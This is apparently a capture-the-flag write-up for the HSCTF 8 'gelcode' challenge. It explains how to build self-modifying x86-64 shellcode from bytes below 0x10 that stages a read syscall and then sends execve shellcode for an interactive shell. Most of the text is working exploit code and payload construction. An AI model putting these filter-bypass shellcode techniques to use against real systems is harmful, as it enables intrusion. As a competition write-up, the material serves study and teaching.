k1R4

gelcode [hsctf8]

26 Jun 2021

Ah yes another shellcoding challenge! It seems impossible at first glance. ASCII value of our input is required to be less than 0xf, or its replaced with a null byte.

decompilation_of_main

So to workaround this constraint we will be writing self-modifying shellcode. But first, here is the register state we are working with:

register_state

Our aim here is to do a read syscall on our input buffer, so we can give execve shellcode without contrainst. To do that we need to set rdi to 0 (stdin) and rdx to a small value so that we dont go beyond the heap boundary which will fail the syscall. Analysing all possible instructions with depth 3, these seem rather interesting:

add DWORD PTR [rdx+rax*1], eax add al,0x(0-f)

With this we can modify our input but the problem is we can add only the index of our input byte to itself. To workarond that we will be using these:

add BYTE PTR [rdx+rax*1], cl add cl, BYTE PTR [rdx+rax*1]

This gives us independent control over index and value that is added to our input bytes. But since the value of cl is not what we want, we first have to write shellcode that modifies itself to perform xor rcx,rcx. After a bit of head scratching and some quick maths, we have ourselves shellcode to perform, xor rcx,rcx.

shell1 = asm("""
    add     al,0xf
    add     al,0xf
    add     al,0x6
    add     DWORD PTR [rdx+rax*1], eax 
    add     DWORD PTR [rdx+rax*1], eax
    add     al,0x1
    add     DWORD PTR [rdx+rax*1], eax
    
    add     al,0x1
    add     DWORD PTR [rdx+rax*1], eax 
    add     DWORD PTR [rdx+rax*1], eax
    add     DWORD PTR [rdx+rax*1], eax 
    add     DWORD PTR [rdx+rax*1], eax
    add     DWORD PTR [rdx+rax*1], eax
    add     al,0xf
    """)+"\x00\x0c\x0b"


Now our aim is to get the shellcode to do the following:

xor rdi,rdi mov rdx, 0x500 xor eax,eax syscall

Since rsi is already set, this will result in a read syscall. Next we have to set cl to a value that makes it easier for us, since every byte that we want can be represented as 0x18*n+0x(0-f), we shall set cl to 0x18 then use the add instruction multiple times until we get our desired byte. The remainder of the byte is directly given as input. Now time to set cl and spam add instructions xD. To keep the writeup short, I shall be appending (x N) at the end of add instructions to the amount of adds used.

shell2 = asm("""
    add    al,0x6
    add    cl, BYTE PTR [rdx+rax*1] (x 6)
    add    al,0xf (x 11)

    add    al,0x5
    add    BYTE PTR [rdx+rax*1], cl (x 3)

    add    al,0x1
    add    BYTE PTR [rdx+rax*1], cl (x 2)

    add    al,0x1
    add    BYTE PTR [rdx+rax*1], cl (x 10)
    
    add    al,0x1
    add    BYTE PTR [rdx+rax*1], cl (x 3)

    add    al,0x1
    add    BYTE PTR [rdx+rax*1], cl (x 8)
    
    add    al,0x1
    add    BYTE PTR [rdx+rax*1], cl (x 8)
    
    add    al,0x5
    add    BYTE PTR [rdx+rax*1], cl (x 2)

    add    al,0x1
    add    BYTE PTR [rdx+rax*1], cl (x 8)
    """) + "\x00\x01\x0f"+"\x00\x07\x02\x00\x05\x00\x00"+"\x01\x00" +asm("syscall")


Now time to finish the exploit:

shellcode = shell1 + shell2

payload = shellcode.ljust(999,"A")

sl(payload)

sleep(3)

sl(243*"A"+asm(shellcraft.sh()))

io.interactive()